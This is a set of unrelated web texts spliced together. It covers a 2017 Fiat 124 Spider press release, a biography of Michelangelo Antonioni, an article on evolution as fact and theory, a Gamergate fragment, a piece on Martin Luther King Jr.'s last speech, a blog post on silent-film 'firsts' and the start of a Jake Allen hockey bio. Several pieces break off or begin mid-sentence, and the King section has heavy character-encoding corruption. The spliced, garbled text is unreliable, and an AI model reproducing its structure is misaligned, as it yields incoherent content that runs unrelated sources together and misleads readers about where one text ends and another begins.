124 Spider revives the storied nameplate, bringing its classic Italian styling and performance to a new generation. Paying homage to the original 124 Spider nearly 50 years after its introduction, the 2017 Fiat 124 Spider delivers the ultimate Italian roadster experience with driving excitement, technology and safety combined with iconic Italian design."There's no better way to celebrate 50 years of the Fiat 124 Spider than to bring back this iconic roadster, pairing its Italian styling of the past with all of the modern performance and technology of today," said Olivier François, Head of FIAT Brand, FCA – Global. "The 124 Spider expands the FIAT family, bringing to market yet another head-turning, fun-to-drive vehicle for our customers."Engaging driving dynamics through thoughtful engineeringIn North America, the Fiat 124 Spider is available with the proven 1.4-liter MultiAir Turbo four-cylinder engine, the engine's first application in a rear-wheel-drive vehicle. The engine delivers 160 horsepower and 184 lb.-ft. of torque, and is available with a six-speed manual transmission or a six-speed automatic transmission.The 124 Spider's suspension uses a double-wishbone layout in front and a multi-link in the rear, specifically tuned for greater stability while braking and turning. Steering is light and responsive with the use of an electric power assist (dual pinion) system.The steering and suspension setup, lightweight frame, balanced weight distribution and turbocharged engine combine for a dynamic driving experience. Noise vibration and harshness (NVH) enhancements, including an acoustic front windshield and insulation treatments, also help to deliver a refined, quiet ride.For an open-air driving experience, the Fiat 124 Spider's soft convertible top is easy to operate and requires minimal force, much like the original Spider's top.Loaded with safety, security and technology featuresThe all-new roadster is available with an array of safety and security features, including adaptive front headlamps, Blind-spot Monitoring, Rear Cross Path detection and ParkView rear backup camera. A high-strength body helps to dissipate energy while optimizing occupant protection.The Fiat 124 Spider is also available with technology features for added comfort and convenience, including the FIAT Connect 7.0 system with 7-inch touchscreen display, multimedia control, Bluetooth connectivity, heated seats and Keyless Enter 'n Go.A Bose premium sound system with nine speakers, including dual headrest speakers, is also available for superior sound quality even with the top down.Design pays homage to past with modern interpretation of styling cuesThe all-new Fiat 124 Spider, designed at Centro Stile in Turin, Italy, borrows cues from the original Spider – widely considered one of Fiat's most beautiful cars of all time – and reinterprets them for today. The 2017 124 Spider has a timeless low-slung presence, with a classically beautiful bodyside, well-balanced proportions and a sporty cabin-to-hood ratio. Features like the hexagonal upper grille and grille pattern, "power domes" on the front hood and sharp horizontal rear lamps call to mind details of the historic Spider.The interior is crafted and designed to focus on the occupants, with premium soft-touch materials throughout. Ergonomics were applied to emphasize the driving experience and ensure easy operation of the steering wheel, pedals and shifter while driving.The 2017 Fiat 124 Spider is available in two trim levels: Classica and Lusso. Each model is available in six exterior paint colors, including Rosso Passione (Red Clear Coat), Bianco Gelato (White Clear Coat), Nero Cinema (Jet Black Metallic), Grigio Argento (Gray Metallic), Grigio Moda (Dark Gray Metallic) and Bronzo Magnetico (Bronze Metallic). The Lusso ("Luxury") model is also available in tri-coat Bianco Perla (Crystal White Pearl).Special edition gives enthusiasts the chance to own one of the first 2017 Fiat 124 SpidersTo celebrate the return of the classic nameplate, the first 124 vehicles will be offered as a limited-edition Prima Edizione Lusso, as shown at the 2015 Los Angeles Auto Show. Each will be individually numbered with a commemorative badge and available in exclusive Azzurro Italia (Blue) exterior paint with premium leather seats in Saddle. Owners who purchase a Prima Edizione will also receive limited-edition items, including wearables and a poster. For more information about ordering a Fiat 124 Spider Prima Edizione, interested customers can sign up for updates at http://www.fiatusa.com.The all-new Fiat 124 Spider will arrive in FIAT studios in North America in summer 2016.For more visit FiatMichelangelo Antonioni, Cavaliere di Gran Croce OMRI (29 September 1912 – 30 July 2007), was an Italian film director, screenwriter, editor, and short story author. Best known for his "trilogy on modernity and its discontents"[1] — L'Avventura (1960), La Notte (1961), and L'Eclisse (1962), as well as the English-language Blowup (1966)—Antonioni produced "enigmatic and intricate mood pieces" that rejected action in favor of contemplation, focusing on image and design over character and story.[2] According to AllMovie, he "redefined the concept of narrative cinema" and challenged traditional approaches to storytelling, realism, drama, and the world at large.[2]
Antonioni received numerous awards and nominations throughout his career, including the Cannes Film Festival Jury Prize (1960, 1962), Palme d'Or (1966), and 35th Anniversary Prize (1982); the Venice Film Festival Silver Lion (1955), Golden Lion (1964), FIPRESCI Prize (1964, 1995), and Pietro Bianchi Award (1998); the Italian National Syndicate of Film Journalists Silver Ribbon eight times; and an honorary Academy Award in 1995. He is one of three directors to have won the Palme d'Or, the Golden Lion and the Golden Bear, and the only director to have won these three and the Golden Leopard.
Early life [ edit ]
Antonioni was born into a prosperous family of landowners in Ferrara, Emilia Romagna, in northern Italy. He was the son of Elisabetta (née Roncagli) and Ismaele Antonioni.[3] The director explained to Italian film critic Aldo Tassone:
My childhood was a happy one. My mother... was a warm and intelligent woman who had been a laborer in her youth. My father also was a good man. Born into a working-class family, he succeeded in obtaining a comfortable position through evening courses and hard work. My parents gave me free rein to do what I wanted: with my brother, we spent most of our time playing outside with friends. Curiously enough, our friends were invariably proletarian, and poor. The poor still existed at that time, you recognized them by their clothes. But even in the way they wore their clothes, there was a fantasy, a frankness that made me prefer them to boys of bourgeois families. I always had sympathy for young women of working-class families, even later when I attended university: they were more authentic and spontaneous. — Michelangelo Antonioni
As a child, Antonioni was fond of drawing and music. A precocious violinist, he gave his first concert at the age of nine. Although he abandoned the violin with the discovery of cinema in his teens, drawing would remain a lifelong passion. "I have never drawn, even as a child, either puppets or silhouettes but rather facades of houses and gates. One of my favorite games consisted of organizing towns. Ignorant in architecture, I constructed buildings and streets crammed with little figures. I invented stories for them. These childhood happenings - I was eleven years old - were like little films."
Upon graduation from the University of Bologna with a degree in economics, he started writing for the local Ferrara newspaper Il Corriere Padano in 1935 as a film journalist.
In 1940, Antonioni moved to Rome, where he worked for Cinema, the official Fascist film magazine edited by Vittorio Mussolini. However, Antonioni was fired a few months afterward. Later that year he enrolled at the Centro Sperimentale di Cinematografia to study film technique, but left after three months. He was subsequently drafted into the army. During the war Antonioni survived being condemned to death as a member of the Italian resistance.[6]
Career [ edit ]
Early film work [ edit ]
In 1942, Antonioni co-wrote A Pilot Returns with Roberto Rossellini and worked as assistant director on Enrico Fulchignoni's I due Foscari. In 1943, he travelled to France to assist Marcel Carné on Les visiteurs du soir and then began a series of short films with Gente del Po (1943), a story of poor fishermen of the Po valley. When Rome was liberated by the Allies, the film stock was transferred to the Fascist "Republic of Salò" and could not be recovered and edited until 1947 (the complete footage was never retrieved). These films were neorealist in style, being semi-documentary studies of the lives of ordinary people.
However, Antonioni's first full-length feature film Cronaca di un amore (1950) broke away from neorealism by depicting the middle classes. He continued to do so in a series of other films: I vinti ("The Vanquished", 1952), a trio of stories, each set in a different country (France, Italy and England), about juvenile delinquency; La signora senza camelie (The Lady Without Camellias, 1953) about a young film star and her fall from grace; and Le amiche (The Girlfriends, 1955) about middle class women in Turin. Il grido (The Outcry, 1957) was a return to working class stories, depicting a factory worker and his daughter. Each of these stories is about social alienation.
International recognition [ edit ]
In Le Amiche (1955), Antonioni experimented with a radical new style: instead of a conventional narrative, he presented a series of apparently disconnected events, and he used long takes as part of his film making style. Antonioni returned to their use in L'avventura (1960), which became his first international success. At the Cannes Film Festival it received a mixture of cheers[8] and boos,[9] but the film was popular in art house cinemas around the world. La notte (1961), starring Jeanne Moreau and Marcello Mastroianni, and L'Eclisse (1962), starring Alain Delon, followed L'avventura. These three films are commonly referred to as a trilogy because they are stylistically similar and all concerned with the alienation of man in the modern world. La notte won the Golden Bear award at the 11th Berlin International Film Festival,[13] His first color film, Il deserto rosso (The Red Desert, 1964), deals with similar themes, and is sometimes considered the fourth film of the "trilogy".[1] All of these films star Monica Vitti, his lover during that period.
Antonioni then signed a deal with producer Carlo Ponti that would allow artistic freedom on three films in English to be released by MGM. The first, Blowup (1966),[14] set in Swinging London, was a major international success. The script was loosely based on the short story The Devil's Drool (otherwise known as Blow Up) by Argentinian writer Julio Cortázar. Although it dealt with the challenging theme of the impossibility of objective standards and the ever-doubtable truth of memory, it was a successful and popular hit with audiences, no doubt helped by its sex scenes, which were explicit for the time. It starred David Hemmings and Vanessa Redgrave. The second film was Zabriskie Point (1970), his first set in America and with a counterculture theme. The soundtrack carried popular artists such as Pink Floyd (who wrote new music specifically for the film), the Grateful Dead and the Rolling Stones. However, its release was a critical and commercial disaster. The third, The Passenger (1975), starring Jack Nicholson and Maria Schneider, received critical praise, but also did poorly at the box office. It was out of circulation for many years, but was re-released for a limited theatrical run in October 2005 and has subsequently been released on DVD.
In 1972, in between Zabriskie Point and The Passenger, Antonioni was invited by the Mao government of the People's Republic of China to visit the country. He made the documentary Chung Kuo, Cina, but it was severely denounced by the Chinese authorities as "anti-Chinese" and "anti-communist". The documentary had its first showing in China on 25 November 2004 in Beijing with a film festival hosted by the Beijing Film Academy to honor the works of Michelangelo Antonioni.
Later career [ edit ]
In 1980, Antonioni made Il mistero di Oberwald (The Mystery of Oberwald), an experiment in the electronic treatment of color, recorded in video then transferred to film, featuring Monica Vitti once more. It is based on Jean Cocteau's play L'Aigle à deux têtes (The Eagle With Two Heads). Identificazione di una donna (Identification of a Woman, 1982), filmed in Italy, deals one more time with the recursive subjects of his Italian trilogy. In 1985, Antonioni suffered a stroke, which left him partly paralyzed and unable to speak. However, he continued to make films, including Beyond the Clouds (1995), for which Wim Wenders filmed some scenes. As Wenders has explained, Antonioni rejected almost all the material filmed by Wenders during the editing, except for a few short interludes. They shared the FIPRESCI Prize at the Venice Film Festival with Cyclo.
In 1994 he was given the Honorary Academy Award "in recognition of his place as one of the cinema's master visual stylists." It was presented to him by Jack Nicholson. Months later, the statuette was stolen by burglars and had to be replaced. Previously, he had been nominated for Academy Awards for Best Director and Best Screenplay for Blowup. Antonioni's final film, made when he was in his 90s, was a segment of the anthology film Eros (2004), entitled "Il filo pericoloso delle cose" ("The Dangerous Thread of Things"). The short film's episodes are framed by dreamy paintings and the song "Michelangelo Antonioni", composed and sung by Caetano Veloso.[17] However, it was not well-received internationally; in America, for example, Roger Ebert claimed that it was neither erotic nor about eroticism.[18] The U.S. DVD release of the film includes another 2004 short film by Antonioni, Lo sguardo di Michelangelo (The Gaze of Michelangelo).
Antonioni died aged 94 on 30 July 2007 in Rome, the same day that another renowned film director, Ingmar Bergman, also died. Antonioni lay in state at City Hall in Rome where a large screen showed black-and-white footage of him among his film sets and behind-the-scenes. He was buried in his home town of Ferrara on 2 August 2007.
Reception [ edit ]
Film historian Virginia Wright Wexman describes Antonioni's perspective on the world as that of a "postreligious Marxist and existentialist intellectual." In a speech at Cannes about L'Avventura, Antonioni said that in the modern age of reason and science, mankind still lives by "a rigid and stereotyped morality which all of us recognize as such and yet sustain out of cowardice and sheer laziness". He said his films explore the paradox that "we have examined those moral attitudes very carefully, we have dissected them and analyzed them to the point of exhaustion. We have been capable of all this, but we have not been capable of finding new ones." Nine years later he expressed a similar attitude in an interview, saying that he loathed the word'morality': "When man becomes reconciled to nature, when space becomes his true background, these words and concepts will have lost their meaning, and we will no longer have to use them."[20]
One of the recurring themes in Antonioni's films is characters who suffer from ennui and whose lives are empty and purposeless aside from the gratification of pleasure or the pursuit of material wealth. Film historian David Bordwell writes that in his films, "Vacations, parties and artistic pursuits are vain efforts to conceal the characters' lack of purpose and emotion. Sexuality is reduced to casual seduction, enterprise to the pursuit of wealth at any cost." Antonioni's films tend to have spare plots and dialogue, and much of the screen time is spent lingering on certain settings, such as the seven-minute continuous take at the end of The Passenger and the beautiful long-take near the beginning that "mixes time", or the scene in L'Eclisse in which Monica Vitti stares curiously at electrical posts accompanied by ambient sounds of wires clanking. Virginia Wright Wexman summarizes his style in the following terms: "The camera is placed at a medium distance more often than close in, frequently moving slowly; the shots are permitted to extend uninterrupted by cutting. Thus each image is more complex, containing more information than it would in a style in which a smaller area is framed... In Antonioni's work we must regard his images at length; he forces our full attention by continuing the shot long after others would cut away." Antonioni is also noted for exploiting colour as a significant expressive element of his cinematic style, especially in Il deserto rosso, his first colour film.
Bordwell explains that Antonioni's films were extremely influential on subsequent art films: "More than any other director, he encouraged filmmakers to explore elliptical and open-ended narrative". Film director Akira Kurosawa considered Antonioni one of the most interesting filmmakers.[23] Stanley Kubrick listed La Notte as one of his ten favorite films in a 1963 Poll. Miklós Jancsó considers Antonioni as his master.
Antonioni's spare style and purposeless characters, however, have not received universal acclaim. Ingmar Bergman stated in 2002 that he considered some of Antonioni's films, including Blowup and La notte, masterpieces for their detached and dreamlike quality, but found the other films boring and noted that he had never understood why Antonioni was held in such esteem. Orson Welles regretted the Italian director's use of the long take: "I don't like to dwell on things. It's one of the reasons I'm so bored with Antonioni - the belief that, because a shot is good, it's going to get better if you keep looking at it. He gives you a full shot of somebody walking down a road. And you think, 'Well, he's not going to carry that woman all the way up that road.' But he does. And then she leaves and you go on looking at the road after she's gone."
American actor Peter Weller, whom Antonioni directed in Beyond the Clouds, explained in a 1996 interview: "There is no director living except maybe Kurosawa, Bergman, or Antonioni that I would fall down and do anything for. I met Antonioni three years ago in Taormina at a film festival. I introduced myself and told him that I adored his movies, his contributions to film, because he was the first guy who really started making films about the reality of the vacuity between people, the difficulty in traversing this space between lovers in modern day... and he never gives you an answer, Antonioni—that's the beautiful thing."[26]
Awards and honors [ edit ]
Filmography [ edit ]
Feature films [ edit ]
Short films [ edit ]
Gente del Po ( People of the Po Valley, filmed in 1943, released in 1947) 10 minutes
(, filmed in 1943, released in 1947) 10 minutes N.U. ( Dustmen, 1948) 11 minutes
(, 1948) 11 minutes Oltre l'oblio (1948)
(1948) Roma-Montevideo (1948)
(1948) Lies of Love ( L'amorosa menzogna, 1949) 10 minutes
(, 1949) 10 minutes Sette canne, un vestito ( Seven Reeds, One Suit, 1949) 10 minutes
(, 1949) 10 minutes Bomarzo (1949)
(1949) Ragazze in bianco ( Girls in White, 1949)
(, 1949) Superstizione ( Superstition, 1949) 9 minutes
(, 1949) 9 minutes La villa dei mostri ( The House of Monsters, 1950) 10 minutes
(, 1950) 10 minutes La funivia del Faloria ( The Funicular of Mount Faloria, 1950) 10 minutes
(, 1950) 10 minutes Tentato suicido ( When Love Fails, 1953) episode in L'amore in città ( Love in the City )
(, 1953) episode in ( ) Il provino (1965) episode in I tre volti
(1965) episode in Inserto girato a Lisca Bianca (1983) 8 minutes
(1983) 8 minutes Kumbha Mela (1989) 18 minutes
(1989) 18 minutes Roma ( Rome, 1989) episode in 12 registi per 12 città, for the 1990 FIFA World Cup
(, 1989) episode in, for the 1990 FIFA World Cup Noto, Mandorli, Vulcano, Stromboli, Carnevale ( Volcanoes and Carnival, 1993) 8 minutes
(, 1993) 8 minutes Sicilia (1997) 9 minutes
(1997) 9 minutes Lo sguardo di Michelangelo ( The Gaze of Michelangelo, 2004) 15 minutes
(, 2004) 15 minutes Il filo pericoloso delle cose (The Dangerous Thread of Things, 2004) episode in Eros
References [ edit ]
Citations [ edit ]A discussion of the meaning and usage of the terms evolution, fact and theory
Many scientists and philosophers of science have described evolution as fact and theory, a phrase which was used as the title of an article by paleontologist Stephen Jay Gould in 1981. He describes fact in science as meaning data, not absolute certainty but "confirmed to such a degree that it would be perverse to withhold provisional assent". A scientific theory is a well-substantiated explanation of such facts. The facts of evolution come from observational evidence of current processes, from imperfections in organisms recording historical common descent, and from transitions in the fossil record. Theories of evolution provide a provisional explanation for these facts.[1]
Each of the words "evolution", "fact" and "theory" has several meanings in different contexts. Evolution means change over time, as in stellar evolution. In biology it refers to observed changes in organisms, to their descent from a common ancestor, and at a technical level to a change in gene frequency over time; it can also refer to explanatory theories (such as Charles Darwin's theory of natural selection) which explain the mechanisms of evolution. To a scientist, fact can describe a repeatable observation that all can agree on; it can refer to something that is so well established that nobody in a community disagrees with it; and it can also refer to the truth or falsity of a proposition. To the public, theory can mean an opinion or conjecture (e.g., "it's only a theory"), but among scientists it has a much stronger connotation of "well-substantiated explanation". With this number of choices, people can often talk past each other, and meanings become the subject of linguistic analysis.
Evidence for evolution continues to be accumulated and tested. The scientific literature includes statements by evolutionary biologists and philosophers of science demonstrating some of the different perspectives on evolution as fact and theory.
Evolution, fact and theory [ edit ]
Evolution has been described as "fact and theory"; "fact, not theory"; "only a theory, not a fact"; "multiple theories, not fact"; and "neither fact, nor theory."[2] The disagreements among these statements, however, have more to do with the meaning of words than the substantial issues and this controversy is discussed below.
Evolution [ edit ]
Professor of biology Jerry Coyne sums up biological evolution succinctly:
Life on earth evolved gradually beginning with one primitive species—perhaps a self-replicating molecule—that lived more than 3.5 billion years ago; it then branched out over time, throwing off many new and diverse species; and the mechanism for most (but not all) of evolutionary change is natural selection.
This shows the breadth and scope of the issue, incorporating the scientific fields of zoology, botany, genetics, geology, and paleontology, among many others.
But the central core of evolution is generally defined as changes in trait or gene frequency in a population of organisms from one generation to the next. This has been dubbed the standard genetic definition of evolution. Natural selection is only one of several mechanisms in the theory of evolutionary change that explains how organisms historically adapt to changing environments. The principles of heredity were re-discovered in 1900, after Darwin's death, in Gregor Mendel's research on the inheritance of simple trait variations in peas.[page needed] Subsequent work into genetics, mutation, paleontology, and developmental biology expanded the applicability and scope of Darwin's original theory.
According to Douglas J. Futuyma:
Biological evolution may be slight or substantial; it embraces everything from slight changes in the proportion of different alleles within a population (such as those determining blood types) to the successive alterations that led from the earliest proto-organism to snails, bees, giraffes, and dandelions.[ page needed ]
The word evolution in a broad sense refers to processes of change, from stellar evolution to changes in language. In biology, the meaning is more specific: heritable changes which accumulate over generations of a population. Individual organisms do not evolve in their lifetimes, but variations in the genes they inherit can become more or less common in the population of organisms. Any changes during the lifetime of organisms which are not inherited by their offspring are not part of biological evolution.[7]
To Keith Stewart Thomson, the word evolution has at least three distinct meanings:[8]
The general sense of change over time. All life forms have descended with modifications from ancestors in a process of common descent. The cause or mechanisms of these process of change, that are examined and explained by evolutionary theories.
Thomson remarks: "Change over time is a fact, and descent from common ancestors is based on such unassailable logic that we act as though it is a fact. Natural selection provides the outline of an explanatory theory."[8]
Biologists consider it to be a scientific fact that evolution has occurred in that modern organisms differ from past forms, and evolution is still occurring with discernible differences between organisms and their descendants. There is such strong quantitative support for the second that scientists regard common descent as being as factual as the understanding that in the Solar System the Earth orbits the Sun, although the examination of the fundamentals of these processes is still in progress. There are several theories about the mechanisms of evolution, and there are still active debates about specific mechanisms.[9]
There is a fourth meaning for the word evolution that is not used by biologists today. In 1857, the philosopher Herbert Spencer defined it as "change from the homogeneous to the heterogeneous." He claimed (before Darwin) that this was "settled beyond dispute" for organic evolution and applied it to the evolution of star systems, geology and human society.[10] Even Spencer by 1865 was admitting that his definition was imperfect, but it remained popular throughout the nineteenth century before declining under the criticisms of William James and others.[13]
Fact [ edit ]
Fact is often used by scientists to refer to experimental or empirical data or objective verifiable observations.[14][15] "Fact" is also used in a wider sense to mean any theory for which there is overwhelming evidence.[16]
A fact is a hypothesis that is so firmly supported by evidence that we assume it is true, and act as if it were true. —Douglas J. Futuyma
In the sense that evolution is overwhelmingly validated by the evidence, it is a fact. It is frequently said to be a fact in the same way as the Earth's revolution around the Sun is a fact.[17] The following quotation from Hermann Joseph Muller's article, "One Hundred Years Without Darwinism Are Enough," explains the point.
There is no sharp line between speculation, hypothesis, theory, principle, and fact, but only a difference along a sliding scale, in the degree of probability of the idea. When we say a thing is a fact, then, we only mean that its probability is an extremely high one: so high that we are not bothered by doubt about it and are ready to act accordingly. Now in this use of the term fact, the only proper one, evolution is a fact.[18]
The National Academy of Sciences (U.S.) makes a similar point:
Scientists most often use the word "fact" to describe an observation. But scientists can also use fact to mean something that has been tested or observed so many times that there is no longer a compelling reason to keep testing or looking for examples. The occurrence of evolution in this sense is a fact. Scientists no longer question whether descent with modification occurred because the evidence supporting the idea is so strong.[19]
Stephen Jay Gould also points out that "Darwin continually emphasized the difference between his two great and separate accomplishments: establishing the fact of evolution, and proposing a theory—natural selection—to explain the mechanism of evolution."[20] These two aspects are frequently confused. Scientists continue to argue about particular explanations or mechanisms at work in specific instances of evolution – but the fact that evolution has occurred, and is still occurring, is undisputed.
A common misconception is that evolution cannot be reliably observed because it all happened millions of years ago and the science therefore is not dependent on facts (in the initial sense above). However, both Darwin and Alfred Russel Wallace, the co-founders of the theory, and all subsequent biologists depend primarily on observations of living organisms; Darwin concentrated largely on the breeding of domesticated animals whereas Wallace started from the biogeographical distribution of species in the Amazon and Malay Archipelago. In the early twentieth century, population genetics had centre stage, and more recently DNA has become the main focus of observation and experimentation.
Philosophers of science argue that we do not know mind-independent empirical truths with absolute certainty: even direct observations may be "theory laden" and depend on assumptions about our senses and the measuring instruments used. In this sense all facts are provisional.[9][21]
Theory [ edit ]
The scientific definition of the word "theory" is different from the definition of the word in colloquial use. In the vernacular, "theory" can refer to guesswork, a simple conjecture, an opinion, or a speculation that does not have to be based on facts and need not be framed for making testable predictions.
In science, however, the meaning of theory is more rigorous. A scientific theory is "a well-substantiated explanation of some aspect of the natural world that can incorporate facts, laws, inferences, and tested hypotheses."[22] Theories are formed from hypotheses that have been subjected repeatedly to tests of evidence which attempt to disprove or falsify them. In the case of evolution through natural selection, Darwin conceived the hypothesis around 1839, and made a first draft of the concept three years later in 1842. He discussed this widely with many of his intellectual companions, and conducted further research in the background to his other writings and work. After years of development, he finally published his evidence and theory in On the Origin of Species in 1859.[23]
The "theory of evolution" is actually a network of theories that created the research program of biology. Darwin, for example, proposed five separate theories in his original formulation, which included mechanistic explanations for:
Since Darwin, evolution has become a well-supported body of interconnected statements that explains numerous empirical observations in the natural world. Evolutionary theories continue to generate testable predictions and explanations about living and fossilized organisms.[25][page needed]
Phylogenetic theory is an example of evolutionary theory. It is based on the evolutionary premise of an ancestral descendant sequence of genes, populations, or species. Individuals that evolve are linked together through historical and genealogical ties. Evolutionary trees are hypotheses that are inferred through the practice of phylogenetic theory. They depict relations among individuals that can speciate and diverge from one another. The evolutionary process of speciation creates groups that are linked by a common ancestor and all its descendants. Species inherit traits, which are then passed on to descendants. Evolutionary biologists use systematic methods and test phylogenetic theory to observe and explain changes in and among species over time. These methods include the collection, measurement, observation, and mapping of traits onto evolutionary trees. Phylogenetic theory is used to test the independent distributions of traits and their various forms to provide explanations of observed patterns in relation to their evolutionary history and biology.[page number verification needed][page needed] The neutral theory of molecular evolution is used to study evolution as a null model against which tests for natural selection can be applied.
Evolution as theory and fact in the literature [ edit ]
The following sections provide specific quotable references from evolutionary biologists and philosophers of science demonstrating some of the different perspectives on evolution as fact and theory.
Evolution as fact [ edit ]
American zoologist and paleontologist George Gaylord Simpson stated that "Darwin... finally and definitely established evolution as a fact." [29]
Hermann Joseph Muller wrote, "So enormous, ramifying, and consistent has the evidence for evolution become that if anyone could now disprove it, I should have my conception of the orderliness of the universe so shaken as to lead me to doubt even my own existence. If you like, then, I will grant you that in an absolute sense evolution is not a fact, or rather, that it is no more a fact than that you are hearing or reading these words." [18]
Kenneth R. Miller writes, "evolution is as much a fact as anything we know in science."
Ernst Mayr observed, "The basic theory of evolution has been confirmed so completely that most modern biologists consider evolution simply a fact. How else except by the word evolution can we designate the sequence of faunas and floras in precisely dated geological strata? And evolutionary change is also simply a fact owing to the changes in the content of gene pools from generation to generation."
Evolution as fact and theory [ edit ]
"Fact" is commonly used to refer to the observable changes in organisms' traits over generations while the word "theory" is reserved for the mechanisms that cause these changes:
Writing in 1930, biologist Julian Huxley entitled the third book of the wide-ranging series The Science of Life, which dealt with the fossil record and the evidence of plant and animal structures, The Incontrovertible Fact of Evolution. He also says "Natural Selection...is not a |
what moves they take. This is certainly not justification for the harassment and criminal activity that has resulted. But these added dimensions of history, authority, and morality should be an added dimension of consideration for the supporters, opponents, and observers of Gamergate as much as it is for the gamers and developers themselves.
Image credit: Forbes MagazineAs we celebrate Dr. Martin Luther King, Jr. Day today, many Americans know this American hero as a champion of racial equality. But few know that he spent the last years of his life fighting for an end to the Vietnam War and a less militaristic foreign policy, or that he championed economic justice as well.
King spent the last days of his life working for justice for union workers in Memphis, Tennessee.
On April 3, 1968, King traveled there, where he delivered his famous ai???Iai??i??ve Been To The Mountaintopai??? speech, during which he endorsed a ai???human rights revolutionai??? based around eradicating racism, poverty, and militarism.
King had arrived in Memphis to support a strike by the cityai??i??s sanitation workers,Ai??who struckAi??to gain collective bargaining rights and better conditions following the deaths of two city workers in an accident. King called upon the city to respect the ai???dignity of labor,ai??? saying that all workers deserved fair treatment. He also said it was a crime for a rich country like the United States to pay some people starvation wages. Documentary footage from the AFSCME union captured Kingai??i??s address to the workers:
That’s the question before you tonight. Not, “If I stop to help the sanitation workers, what will happen to all of the hours that I usually spend in my office every day and every week as a pastor?” The question is not, “If I stop to help this man in need, what will happen to me?” “If I do not stop to help the sanitation workers, what will happen to them?” That’s the question.
King implored people to think about a new kind of “unselfishness” in his last public speech, and asked people to support workers like the sanitation employees on strike:
Dr. King was assassinated one day after he gave this powerful speech.Those discount trivia books that litter the shelves of chain bookstores have a lot to answer for. They state with great confidence that The Jazz Singer was the first sound movie, The Birth of a Nation was the first feature film, that The Great Train Robbery was the first film with a story…
Actually, finding the first anything is a challenge. In the world of movies, this challenge is amplified. Nitrate decays and catches fire. Eyewitnesses forget exact dates and embellish on facts. In my opinion, any lists of “Movie Firsts” is suspect. There is even debate as to what can rightly considered the first motion picture ever made. It all depends on how you regard Eadweard Muybridge but that is another story.
The Great Train Robbery (1903)
Let’s give this 1903 film its due first: It was a step forward in the world of cinema. The editing and location shots were quite superior and the final shot of the outlaw (Justus T. Barnes) shooting directly at the camera is as iconic to early film as the rocket-in-the-eye shot from A Trip to the Moon. You can download the whole movie from The Library of Congress. It runs about 12 minutes.
However, just because the film was highly popular and influential does not mean it was the first movie ever made nor was it the first narrative movie ever made.
Movies had stories early on. Granted, they were of the kid-plays-a-joke-on-gardener variety of stories but they were stories nonetheless. If you want to say that The Great Train Robbery was unique due to multiple scenes and locations, I will have to direct your attention to 1902’s A Trip to the Moon, mentioned earlier. Multiple scenes, a narrative thread, a bit of violence, lots of lovely girls… The dawn of modern film, folks!
However, due to the problems of decaying evidence and the fact that no one can agree on how much story makes a movie a “narrative” we will probably never be able to say for sure what movie was the first narrative film. Further, many film historians twist and bend definitions in order to give the title of “first” to the nation or filmmaker of their choice. France had it! No, England! No, America! So the waters are muddied even further.
That being said, enjoy The Great Train Robbery when you have a spare 12 minutes. Its great fun.
Ditto for A Trip to the Moon, which is enjoying a resurgence in popularity in part due to Hugo. The good folks at Flicker Alley have undertaken a restoration. Hurrah!
The Birth of a Nation (1915)
Almost 100 years after its release, I still cannot think of a more controversial film. The racism and the terrible aftermath of this film are very serious matters and I will discuss them in a later article. I will need at least that much space to examine this film’s complicated legacy. Right now, I am just focusing on the myth that Birth of a Nation was the first feature film.
Again, we come down to definitions. How long is a feature film? I am going to say for the sake of this article that 50 minutes is the threshold. This is considerably shorter than modern features but it was a common length in the silent era.
In the late 1900’s and early 1910’s, one and two-reel products (about 10-20 minutes) were popular both with studios and the public. They were cheap to make and easy to distribute. However, directors and stars were eager to move on to the more complex stories that could be told in a longer format.
Some of the early features:
The Story of the Kelly Gang (1906) was a 60 minute Australian production. If it’s America you want, Vitagraph made a four-reel Les Miserables.
In 1913, Herbert Brenon directed a 48-minute Ivanhoe. A little under our threshold but are we really going to be that picky with something as awesome as Ivanhoe? (You can download a public domain copy of the novel from Project Gutenberg. Everyone needs to read Ivanhoe at least once.) And can someone release this film, pretty please?
Cecil B. DeMille made the 74-minute feature The Squaw Man in 1914. In fact, there was a flood of feature-length films in 1914. A 4-reel version of Cinderella starring Mary Pickford and D.W. Griffith’s Judith of Bethulia starring Blanche Sweet both ran about an hour…
And then there was Cabiria, a 200-minute Italian epic. The current DVD release from Kino is a 148-minute cut. I am not usually in favor of cuts but OWCH that movie is long! Yes, I know it inspired Griffith to make Intolerance BIGGER and BETTER but are we sure that was a good thing? Forgive me, I have an Intolerance intolerance and Cabiria is not far behind. It’s just that both these movies get shoved down people’s throats in film appreciation class and they are simply not the best introduction to silent film for 99% of the population. (Rant, rant, rant) No wonder people think silent movies are long and dull!
But I digress.
So, as you can see, there were plenty of feature films prior to 1915. However, Birth’s attractive box office earnings did prove that audiences were hungry for feature-length entertainment. After 1915, almost all serious films were feature length and shorts were reserved for comedies and serials.
The Jazz Singer (1927)
This is the movie that killed the silent film. It popularized talking pictures. However, it was not a true talkie. It was a silent movie with talking sequences. This strange hybrid only existed for a few years but these talking sequences gave a sound-crazy audience a taste of what they wanted. The popularity of the radio was taking a bite out of box office receipts. Talking pictures dragged people back into the theaters.
However, it was not the first sound movie; recorded sound to go with recorded movement was an old concept. Edison made an experimental sound film in 1894-95. Warner Bros. experimented with sound-on-disc and began releasing films with synchronized soundtracks in the mid-twenties. So, no, not the first sound movie. And there were quite a few talkie newsreels and comedies before it too.
You see, there is a distinct difference between a sound film and a talking film. Many major studio releases had synchronized sound effects and even incoherent voices. However, they still used the language of the silent film. Talkies were a whole new breed.
It should be noted, though that the silent movie did not go down without a fight. The Jazz Singer by itself did not usher in sound. Profitable follow-up sound films that proved audiences wanted all-talking, all-singing-all-dancing for their entertainment. Stars and studios questioned whether talkies were a fad that would be dead in a year or two. Of course, we all know how things turned out. The impressive haul of cash from The Jazz Singer and its successors were enough to bury the silent movie. Charlie Chaplin was the last major star to surrender and he did not give in to talking pictures until The Great Dictator in 1940.
Well, that covers the top three misnamed firsts in silent film. And, just for kicks, I should also mention that The Sheik was not Valentino’s first film.
Curse you, cheap trivia books!
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Like this: Like Loading...Jake Allen (born August 7, 1990) is a Canadian professional ice hockey goaltender for the St. Louis Blues of the National Hockey League (NHL). Allen was selected by the Blues in the second round of the 2008 NHL Entry Draft with the 34th overall pick.
Early life [ edit ]
Allen was born in Fredericton, New Brunswick, the son of Kurt and Susan Allen.[1] Allen grew up in St. Stephen, New Brunswick, where his father worked as a high school teacher until 1999. He started playing hockey at a young age, first as a skater, then switched to the goalie position.
Playing career [ edit ]
